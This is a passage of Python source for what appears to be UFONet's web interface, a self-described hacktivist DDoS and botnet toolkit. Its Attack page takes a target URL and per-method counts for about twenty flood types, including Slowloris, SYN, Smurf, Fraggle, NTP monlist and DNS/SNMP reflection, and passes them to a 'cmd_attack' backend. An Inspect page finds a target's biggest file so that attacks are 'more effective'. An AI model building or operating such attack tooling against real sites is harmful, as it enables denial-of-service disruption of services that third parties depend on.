  3217. document.getElementById("overlap").value = "";
  3218. document.getElementById("pinger").value = "";
  3219. document.getElementById("ufoudp").value = "";
  3220. document.getElementById("dbstress").value = "";
  3221. }
  3222. }
  3223. function Maps() {
  3224. var win_map = window.open("/cmd_view_attack?target="+target,"_blank","fullscreen=yes, resizable=yes", false);
  3225. win_map.resizeTo(screen.width,screen.height);
  3226. }
  3227. function Start(){
  3228. document.getElementById("attack_button").text = "STOP!"
  3229. document.getElementById("attack_button").style = "color:red; height:40px; width:240px; font-weight:bold; background-color:yellow; border: 2px solid red;"
  3230. target=document.getElementById("target").value
  3231. String.prototype.startsWith = function(prefix){
  3232. return this.indexOf(prefix) === 0;
  3233. }
  3234. if(target.startsWith("http")){
  3235. path=document.getElementById("path").value
  3236. rounds=document.getElementById("rounds").value
  3237. dbstress=document.getElementById("dbstress").value
  3238. loic=document.getElementById("loic").value
  3239. loris=document.getElementById("loris").value
  3240. ufosyn=document.getElementById("ufosyn").value
  3241. spray=document.getElementById("spray").value
  3242. smurf=document.getElementById("smurf").value
  3243. xmas=document.getElementById("xmas").value
  3244. nuke=document.getElementById("nuke").value
  3245. tachyon=document.getElementById("tachyon").value
  3246. monlist=document.getElementById("monlist").value
  3247. fraggle=document.getElementById("fraggle").value
  3248. sniper=document.getElementById("sniper").value
  3249. ufoack=document.getElementById("ufoack").value
  3250. uforst=document.getElementById("uforst").value
  3251. droper=document.getElementById("droper").value
  3252. overlap=document.getElementById("overlap").value
  3253. pinger=document.getElementById("pinger").value
  3254. ufoudp=document.getElementById("ufoudp").value
  3255. if(ufosyn || spray || smurf || xmas || nuke || tachyon || monlist || fraggle || sniper || ufoack || uforst || droper || overlap || pinger || ufoudp){ // root required!
  3256. window.alert("You need 'root' access!. Check shell and enter your password.");
  3257. }
  3258. params="path="+escape(path)+"&rounds="+escape(rounds)+"&target="+escape(target)+"&dbstress="+escape(dbstress)+"&loic="+escape(loic)+"&loris="+escape(loris)+"&ufosyn="+escape(ufosyn)+"&spray="+escape(spray)+"&smurf="+escape(smurf)+"&xmas="+escape(xmas)+"&nuke="+escape(nuke)+"&tachyon="+escape(tachyon)+"&monlist="+escape(monlist)+"&fraggle="+escape(fraggle)+"&sniper="+escape(sniper)+"&ufoack="+escape(ufoack)+"&uforst="+escape(uforst)+"&droper="+escape(droper)+"&overlap="+escape(overlap)+"&pinger="+escape(pinger)+"&ufoudp="+escape(ufoudp)
  3259. if (document.getElementById("visual_attack").checked){
  3260. document.getElementById("visual_attack").value = "on";
  3261. } else {
  3262. document.getElementById("visual_attack").value = "off";
  3263. }
  3264. if(document.getElementById("visual_attack").value=="on"){
  3265. Maps()
  3266. }
  3267. }else{
  3268. window.alert("You need to enter a valid url: http(s)://target.com");
  3269. return
  3270. }
  3271. runCommandX("cmd_attack",params)
  3272. }
  3273. </script>
  3274. </head>
  3275. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3276. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3277. <center>
  3278. <table cellpadding="38" cellspacing="38">
  3279. <tr>
  3280. <td>
  3281. <div class="ringMenu">
  3282. <ul>
  3283. <li class="main"><a href="attack">Attack</a></li>
  3284. <li class="top"><a href="globalnet">Globalnet</a></li>
  3285. <li class="right"><a href="botnet">Botnet</a></li>
  3286. <li class="bottom"><a href="explore">Explore</a></li>
  3287. <li class="left"><a href="gui">RETURN</a></li>
  3288. </ul>
  3289. </div>
  3290. </td>
  3291. <td>
  3292. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  3293. <tr><td>
  3294. <pre>
  3295. Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  3296. Set place to attack: <input type="text" name="path" id="path" size="30" placeholder="/path/big.jpg">
  3297. Number of rounds: <input type="text" name="rounds" id="rounds" size="5" value="1">
  3298. <hr>
  3299. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | <input type="checkbox" name="visual_attack" id="visual_attack"> Generate map! | <input type="checkbox" name="extra_attack" id="extra_attack" onclick='javascript:ShowPanel();'> Extra(s)
  3300. <hr><div id="extra_panel" style="display:none;">
  3301. <table bgcolor="black" cellpadding="4" cellspacing="5" border="1"><tr>
  3302. <td align="left"><a href="https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon" target="_blank">LOIC</a>:</td><td align="right"> <input type="text" name="loic" id="loic" size="4" placeholder="100"></td>
  3303. <td align="left"><a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">LORIS</a>:</td><td align="right"> <input type="text" name="loris" id="loris" size="4" placeholder="101"></td>
  3304. <td align="left"><a href="https://en.wikipedia.org/wiki/SYN_flood" target="_blank">UFOSYN</a>:</td><td align="right"> <input type="text" name="ufosyn" id="ufosyn" size="4" placeholder="100"></td>
  3305. <td align="left"><a href="https://en.wikipedia.org/wiki/Fraggle_attack" target="_blank">FRAGGLE</a>:</td><td align="right"> <input type="text" name="fraggle" id="fraggle" size="4" placeholder="101"></td>
  3306. </tr><tr>
  3307. <td align="left"><a href="https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood" target="_blank">UFORST</a>:</td><td align="right"> <input type="text" name="uforst" id="uforst" size="4" placeholder="101"></td>
  3308. <td align="left"><a href="https://en.wikipedia.org/wiki/DRDOS" target="_blank">SPRAY</a>:</td><td align="right"> <input type="text" name="spray" id="spray" size="4" placeholder="110"></td>
  3309. <td align="left"><a href="https://en.wikipedia.org/wiki/Smurf_attack" target="_blank">SMURF</a>:</td><td align="right"> <input type="text" name="smurf" id="smurf" size="4" placeholder="100"></td>
  3310. <td align="left"><a href="https://en.wikipedia.org/wiki/Christmas_tree_packet" target="_blank">XMAS</a>:</td><td align="right"> <input type="text" name="xmas" id="xmas" size="4" placeholder="111"></td>
  3311. </tr><tr>
  3312. <td align="left"><a href="https://en.wikipedia.org/wiki/IP_fragmentation_attack" target="_blank">DROPER</a>:</td><td align="right"> <input type="text" name="droper" id="droper" size="4" placeholder="101"></td>
  3313. <td align="left"><a href="https://www.imperva.com/learn/application-security/snmp-reflection/" target="_blank">SNIPER</a>:</td><td align="right"> <input type="text" name="sniper" id="sniper" size="4" placeholder="100"></td>
  3314. <td align="left"><a href="https://www.us-cert.gov/ncas/alerts/TA13-088A" target="_blank">TACHYON</a>:</td><td align="right"> <input type="text" name="tachyon" id="tachyon" size="4" placeholder="100"></td>
  3315. <td align="left"><a href="https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/" target="_blank">PINGER</a>:</td><td align="right"> <input type="text" name="pinger" id="pinger" size="4" placeholder="101"></td>
  3316. </tr><tr>
  3317. <td align="left"><a href="https://www.us-cert.gov/ncas/alerts/TA14-013A" target="_blank">MONLIST</a>:</td><td align="right"> <input type="text" name="monlist" id="monlist" size="4" placeholder="101"></td>
  3318. <td align="left"><a href="https://www.f5.com/services/resources/glossary/push-and-ack-flood" target="_blank">UFOACK</a>:</td><td align="right"> <input type="text" name="ufoack" id="ufoack" size="4" placeholder="100"></td>
  3319. <td align="left"><a href="https://cyberhoot.com/cybrary/fragment-overlap-attack/" target="_blank">OVERLAP</a>:</td><td align="right"> <input type="text" name="overlap" id="overlap" size="4" placeholder="100"></td>
  3320. <td align="left"><a href="https://en.wikipedia.org/wiki/UDP_flood_attack" target="_blank">UFOUDP</a>:</td><td align="right"> <input type="text" name="ufoudp" id="ufoudp" size="4" placeholder="101"></td>
  3321. </tr><tr>
  3322. <td align="left"><a href="https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf" target="_blank">NUKE</a>:</td><td align="right"> <input type="text" name="nuke" id="nuke" size="4" placeholder="1001"></td>
  3323. </tr>
  3324. </table>
  3325. <hr>
  3326. Set db stress parameter: <input type="text" name="dbstress" id="dbstress" size="22" placeholder="search.php?q=">
  3327. <hr></div>
  3328. <button title="Start to attack your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" id="attack_button">ATTACK!</button> | Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></pre>
  3329. </td></tr></table>
  3330. </td></tr></table>
  3331. <hr>
  3332. <div id="cmdOut"></div>
  3333. """ + self.pages["/footer"]
  3334. self.pages["/help"] = self.pages["/header"] + """<script language="javascript">
  3335. function show(one) {
  3336. var nb = document.getElementsByTagName("div");
  3337. for(var x=0; x<nb.length; x++) {
  3338. name = nb[x].getAttribute("class");
  3339. if (name == 'nb') {
  3340. if (nb[x].id == one) {
  3341. nb[x].style.display = 'block';
  3342. }
  3343. else {
  3344. nb[x].style.display = 'none';
  3345. }
  3346. }
  3347. }
  3348. }
  3349. function Games() {
  3350. var win_requests = window.open("games","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=640, height=480, resizable=yes", false);
  3351. }
  3352. function Browser() {
  3353. var win_requests = window.open("browser","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=640, height=480, resizable=yes", false);
  3354. }
  3355. </script>
  3356. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3357. </head>
  3358. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3359. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3360. <center>
  3361. <table cellpadding="38" cellspacing="38">
  3362. <tr>
  3363. <td>
  3364. <table cellpadding="24" cellspacing="25" border="1">
  3365. <tr>
  3366. <td>
  3367. <center>
  3368. <a href="javascript:alert('DAIALAFSÄ & LUÄRKS says: Hi! """ + self.ranking + """, The first steps are easy ... RTFM! ;-)');"><img src='data:image/png;base64,"""+self.aliens_img+"""'></a>
  3369. </center>
  3370. </td>
  3371. <td><pre>
  3372. <div><a id="mH1" href="javascript:show('nb1');" style="text-decoration: none;" >+ Project info</a></div>
  3373. <div class="nb" id="nb1" style="display: none;"> <b>UFONet</b> - Is a set of <a href="https://en.wikipedia.org/wiki/Hacktivism" target="_blank">hacktivist</a> tools that allow launching coordinated
  3374. <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks and combine both in a single offensive.
  3375. It also works as an encrypted <a href="https://en.wikipedia.org/wiki/Darknet" target="_blank">DarkNET</a> to publish and receive
  3376. content by creating a global client/server network based on
  3377. a direct-connect <a href="https://en.wikipedia.org/wiki/Peer-to-peer" target="_blank">P2P</a> architecture.</div><div><a id="mH3" href="javascript:show('nb3');" style="text-decoration: none;" >+ F.A.Q.</a></div><div class="nb" id="nb3" style="display: none;">
  3378. - <a href="https://ufonet.03c8.net/FAQ.html" target="_blak">Online version</a> (updated!)
  3379. - <a href="/faq" target="_blank">Local version</a></div>
  3380. <div><a id="mH4" href="javascript:show('nb4');" style="text-decoration: none;" >+ Issues</a></div><div class="nb" id="nb4" style="display: none;">
  3381. If you have questions (or technical problems)
  3382. try to solve them following next link:
  3383. - <a href="https://github.com/epsylon/ufonet/issues" target="_blank">GitHub</a> issues</div>
  3384. <div><a id="mH5" href="javascript:show('nb5');" style="text-decoration: none;" >+ Support</a></div> <div class="nb" id="nb5" style="display: none;"> - Testing; use the tool and search for possible bugs and new ideas
  3385. - Coding; you can try to develop more features
  3386. - Promoting; talk about UFONet on the internet, events, <a href="https://en.wikipedia.org/wiki/Hacklab" target="_blank">hacklabs</a>, etc
  3387. - Donating; money, objects, privacy, exploits, <a href="https://en.wikipedia.org/wiki/Love" target="_blank">love</a> ;-)
  3388. - <a href="https://explorer.bitcoin.com/btc" target="_blank">Bitcoin [BTC]</a>: <b>19aXfJtoYJUoXEZtjNwsah2JKN9CK5Pcjw</b>
  3389. - <a href="https://ecoin.03c8.net/blockexplorer" target="_blank">Ecoin [ECO]</a>: <b>ETsRCBzaMawx3isvb5svX7tAukLdUFHKze</b></div> <div><a id="mH6" href="javascript:show('nb6');" style="text-decoration: none" >+ Contact</a></div> <div class="nb" id="nb6" style="display: none;"> - <a target="_blank" href="wormhole">Wormhole</a>: irc.freenode.net / #ufonet
  3390. - Email: <a href="mailto: epsylon@riseup.net">epsylon@riseup.net</a> [GPG:0xB8AC3776]
  3391. </div></td></tr>
  3392. <tr>
  3393. <td># TREEMAP: <a href="/treemap" target="_blank">VIEW</a> | SHIP.BROWSER: <a href="javascript:Browser()">OPEN</a> | SHIP.GAMES: <a href="javascript:Games()">PLAY!</a> #
  3394. </td></tr>
  3395. <tr>
  3396. <td><h2><u>Types of Attacks:</u></h2>
  3397. <table cellpadding="5" cellspacing="5" border="1"><tr>
  3398. <td><a href="https://hydrasky.com/network-security/layer-7-ddos-attack/" target="_blank">LAYER-7</a></td>
  3399. <td><a href="https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon" target="_blank">LOIC</a></td>
  3400. <td><a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">LORIS</a></td>
  3401. <td><a href="https://en.wikipedia.org/wiki/SYN_flood" target="_blank">UFOSYN</a></td>
  3402. <td><a href="https://en.wikipedia.org/wiki/Fraggle_attack" target="_blank">FRAGGLE</a></td>
  3403. <td><a href="https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood" target="_blank">UFORST</a></td>
  3404. <td><a href="https://en.wikipedia.org/wiki/DRDOS" target="_blank">SPRAY</a></td>
  3405. <td><a href="https://en.wikipedia.org/wiki/Smurf_attack" target="_blank">SMURF</a></td>
  3406. <td><a href="https://en.wikipedia.org/wiki/Christmas_tree_packet" target="_blank">XMAS</a></td></tr><tr>
  3407. <td><a href="https://en.wikipedia.org/wiki/IP_fragmentation_attack" target="_blank">DROPER</a></td>
  3408. <td><a href="https://www.imperva.com/learn/application-security/snmp-reflection/" target="_blank">SNIPER</a></td>
  3409. <td><a href="https://www.us-cert.gov/ncas/alerts/TA13-088A" target="_blank">TACHYON</a></td>
  3410. <td><a href="https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/" target="_blank">PINGER</a></td>
  3411. <td><a href="https://www.us-cert.gov/ncas/alerts/TA14-013A" target="_blank">MONLIST</a></td>
  3412. <td><a href="https://www.f5.com/services/resources/glossary/push-and-ack-flood" target="_blank">UFOACK</a></td>
  3413. <td><a href="https://cyberhoot.com/cybrary/fragment-overlap-attack/" target="_blank">OVERLAP</a></td>
  3414. <td><a href="https://en.wikipedia.org/wiki/UDP_flood_attack" target="_blank">UFOUDP</a></td>
  3415. <td><a href="https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf" target="_blank">NUKE</a></td>
  3416. </tr></table></td><tr>
  3417. <tr>
  3418. <td><h2><u>GUI-Modules:</u></h2>
  3419. <table cellpadding="15" cellspacing="15" border="1"><tr>
  3420. <td><a href="/news" target="_blank"><img src='data:image/png;base64,"""+self.alien1_img+"""'></a></td><td>Read NEWS from other motherships</td><td><a href="/news" target="_blank">SHIP.NEWS</a></td></tr><tr>
  3421. <td><a href="/missions" target="_blank"><img src='data:image/png;base64,"""+self.alien2_img+"""'></a></td><td>Read MISSIONS from other motherships</td><td><a href="/missions" target="_blank">SHIP.MISSIONS</a></td></tr><tr>
  3422. <td><a href="/tv" target="_blank"><img src='data:image/png;base64,"""+self.alien5_img+"""'></a></td><td>Watch TV/VIDEOS from other mothership</td><td><a href="/tv" target="_blank">SHIP.TV</a></td></tr><tr>
  3423. <td><a href="/links" target="_blank"><img src='data:image/png;base64,"""+self.alien10_img+"""'></a></td><td>Check LINKS from other motherships</td><td><a href="/links" target="_blank">GLOBAL.LINKS</a></td></tr><tr>
  3424. <td><a href="/streams" target="_blank"><img src='data:image/png;base64,"""+self.alien9_img+"""'></a></td><td>Watch STREAMS from other motherships</td><td><a href="/streams" target="_blank">GLOBAL.STREAMS</a></td></tr><tr>
  3425. <td><a href="/radar" target="_blank"><img src='data:image/png;base64,"""+self.alien11_img+"""'></a></td><td>Search for OTHER motherships</td><td><a href="/radar" target="_blank">GLOBAL.RADAR</a></td></tr><tr>
  3426. <td><a href="/blackholes" target="_blank"><img src='data:image/png;base64,"""+self.alien3_img+"""'></a></td><td>Search for BLACKHOLES from other motherships</td><td><a href="/blackholes" target="_blank">SHIP.WARPS</a></td></tr><tr>
  3427. <td><a href="/inspect" target="_blank"><img src='data:image/png;base64,"""+self.alien7_img+"""'></a></td><td>Research for INFORMATION about a target</td><td><a href="/inspect" target="_blank">SHIP.INSPECT</a><br><br><a href="/abduction" target="_blank">SHIP.ABDUCTION</a></td></tr><tr>
  3428. <td><a href="/board" target="_blank"><img src='data:image/png;base64,"""+self.alien4_img+"""'></a></td><td>Send/Receive MESSAGES from other motherships</td><td><a href="/board" target="_blank">GLOBAL.BOARD</a></td></tr><tr>
  3429. <td><a href="/grid" target="_blank"><img src='data:image/png;base64,"""+self.alien6_img+"""'></a></td><td>Review STATISTICS from other motherships</td><td><a href="/grid" target="_blank">GLOBAL.GRID</a></td></tr><tr>
  3430. <td><a href="/wargames" target="_blank"><img src='data:image/png;base64,"""+self.alien8_img+"""'></a></td><td>Join WARGAMES from other motherships</td><td><a href="/wargames" target="_blank">GLOBAL.WARGAMES</a></td></tr><tr>
  3431. <td><a href="/browser" target="_blank"><img src='data:image/png;base64,"""+self.alien13_img+"""'></a></td><td>Surf INTERNET from your mothership</td><td><a href="/browser" target="_blank">SHIP.BROWSER</a></td></tr><tr>
  3432. <td><a href="/games" target="_blank"><img src='data:image/png;base64,"""+self.alien12_img+"""'></a></td><td>Play GAMES from your mothership</td><td><a href="/games" target="_blank">SHIP.GAMES</a></td>
  3433. </tr></table>
  3434. </td></tr>
  3435. </table>
  3436. </td></tr></table>
  3437. """ + self.pages["/footer"]
  3438. self.pages["/faq"] = self.pages["/header"] + """<style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3439. </head>
  3440. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3441. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3442. <center>
  3443. <table cellpadding="38" cellspacing="38">
  3444. <tr>
  3445. <td>"""+self.faq_text+"""</td></tr>
  3446. </table>
  3447. """ + self.pages["/footer"]
  3448. self.pages["/globalnet"] = self.pages["/header"] + """<script language="javascript">
  3449. function Blackholes() {
  3450. var win_requests = window.open("blackholes","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3451. }
  3452. function Radar() {
  3453. var win_requests = window.open("radar","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3454. }
  3455. </script>
  3456. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3457. </head>
  3458. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3459. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3460. <center>
  3461. <table cellpadding="38" cellspacing="38">
  3462. <tr>
  3463. <td>
  3464. <div class="ringMenu">
  3465. <ul>
  3466. <li class="main"><a href="globalnet">Globalnet</a></li>
  3467. <li class="top"><a href="botnet">Botnet</a></li>
  3468. <li class="right"><a href="explore">Explore</a></li>
  3469. <li class="bottom"><a href="attack">Attack</a></li>
  3470. <li class="left"><a href="gui">RETURN</a></li>
  3471. </ul>
  3472. </div>
  3473. </td>
  3474. <td>
  3475. <table cellpadding="24" cellspacing="25" border="1">
  3476. <tr>
  3477. <td><a href="javascript:alert('Senator M.BIRDY says: Welcome ..., """ + self.ranking + """,... These are other visible motherships detected by our technology that are currently working for the Federation... You can contribute by uploading your location... Remember, to be a strong network always depends on you!');"><img src='data:image/png;base64,"""+self.alien11_img+"""'></a></td>
  3478. <td>
  3479. <ul>
  3480. <li><a href="javascript:Radar()">GLOBAL.RADAR</a>: Search for <u>other visible motherships</u></li>
  3481. </ul>
  3482. </td>
  3483. </tr>
  3484. <tr>
  3485. <td><a href="javascript:alert('Dhïkta says: """ + self.ranking + """... I can open warps directly to blackholes created by other motherships. This is nice to share and increase your legion on a crypto-distributed (P2P) way...');"><img src='data:image/png;base64,"""+self.alien3_img+"""'></a></td>
  3486. <td>
  3487. <ul>
  3488. <li><a href="javascript:Blackholes()">SHIP.WARPS</a>: Search for <u>blackholes shared by other motherships</u></li>
  3489. </ul>
  3490. </td>
  3491. </tr>
  3492. </table> </td></tr></table>
  3493. """ + self.pages["/footer"]
  3494. self.pages["/explore"] = self.pages["/header"] + """<script language="javascript">
  3495. function Abduction() {
  3496. var win_requests = window.open("abduction","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3497. }
  3498. function Inspect() {
  3499. var win_requests = window.open("inspect","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3500. }
  3501. </script>
  3502. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3503. </head>
  3504. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3505. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3506. <center>
  3507. <table cellpadding="38" cellspacing="38">
  3508. <tr>
  3509. <td>
  3510. <div class="ringMenu">
  3511. <ul>
  3512. <li class="main"><a href="explore"">Explore</a></li>
  3513. <li class="top"><a href="botnet">Botnet</a></li>
  3514. <li class="right"><a href="globalnet">Globalnet</a></li>
  3515. <li class="bottom"><a href="attack">Attack</a></li>
  3516. <li class="left"><a href="gui">RETURN</a></li>
  3517. </ul>
  3518. </div>
  3519. </td>
  3520. <td>
  3521. <table cellpadding="24" cellspacing="25" border="1">
  3522. <tr>
  3523. <td><a href="javascript:alert('Ofgöfeejh says: """ + self.ranking + """... Lets research about our enemies first, right?...');"><img src='data:image/png;base64,"""+self.alien7_img+"""'></a></td>
  3524. <td>
  3525. <ul>
  3526. <li><a href="javascript:Inspect()">SHIP.INSPECT</a>: Search for <u>biggest file on target</u></li><br>
  3527. <li><a href="javascript:Abduction()">SHIP.ABDUCTION</a>: Research for <u>information about target's web server</u></li>
  3528. </ul>
  3529. </td>
  3530. </tr>
  3531. </table> </td></tr></table>
  3532. """ + self.pages["/footer"]
  3533. self.pages["/author"] = self.pages["/header"] + """<style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3534. </head>
  3535. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3536. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3537. <center>
  3538. <table cellpadding="38" cellspacing="38">
  3539. <tr>
  3540. <td>
  3541. <table cellpadding="24" cellspacing="25" border="1">
  3542. <tr>
  3543. <td><pre>"""+self.author_text+"""</pre></td>
  3544. </tr>
  3545. </table>
  3546. </td></tr></table>
  3547. """ + self.pages["/footer"]
  3548. self.pages["/treemap"] = self.pages["/header"] + """<style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3549. </head>
  3550. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3551. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3552. <table cellpadding="38" cellspacing="38">
  3553. <tr>
  3554. <td>
  3555. <div>
  3556. <link type="text/css" href="js/treemap.css" rel="stylesheet" />
  3557. <script language="javascript" type="text/javascript" src="js/jit.js"></script>
  3558. <script language="javascript" type="text/javascript" src="js/treemap.js"></script>
  3559. <div id="infovis"></div>
  3560. </div>
  3561. </td></tr></table><center>
  3562. """ + self.pages["/footer"]
  3563. self.pages["/inspect"] = self.pages["/header"] + """<script language="javascript">
  3564. function Requests() {
  3565. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3566. }
  3567. function Start(){
  3568. target=document.getElementById("target").value
  3569. String.prototype.startsWith = function(prefix){
  3570. return this.indexOf(prefix) === 0;
  3571. }
  3572. if(target.startsWith("http")){
  3573. params="target="+escape(target)
  3574. }else{
  3575. window.alert("You need to enter a valid url: http(s)://target.com/page.html");
  3576. return
  3577. }
  3578. runCommandX("cmd_inspect",params)
  3579. }
  3580. </script>
  3581. </head>
  3582. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3583. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3584. <center>
  3585. <table cellpadding="38" cellspacing="38">
  3586. <tr>
  3587. <td>
  3588. </td>
  3589. <td>
  3590. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  3591. <tr>
  3592. <td>
  3593. <pre>
  3594. This feature will provide you the biggest file on target.
  3595. You can use this before to attack to be more effective.
  3596. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  3597. <hr>
  3598. Set page to crawl: <input type="text" name="target" id="target" size="30" placeholder="http(s)://target.com/list_videos.php">
  3599. <hr>
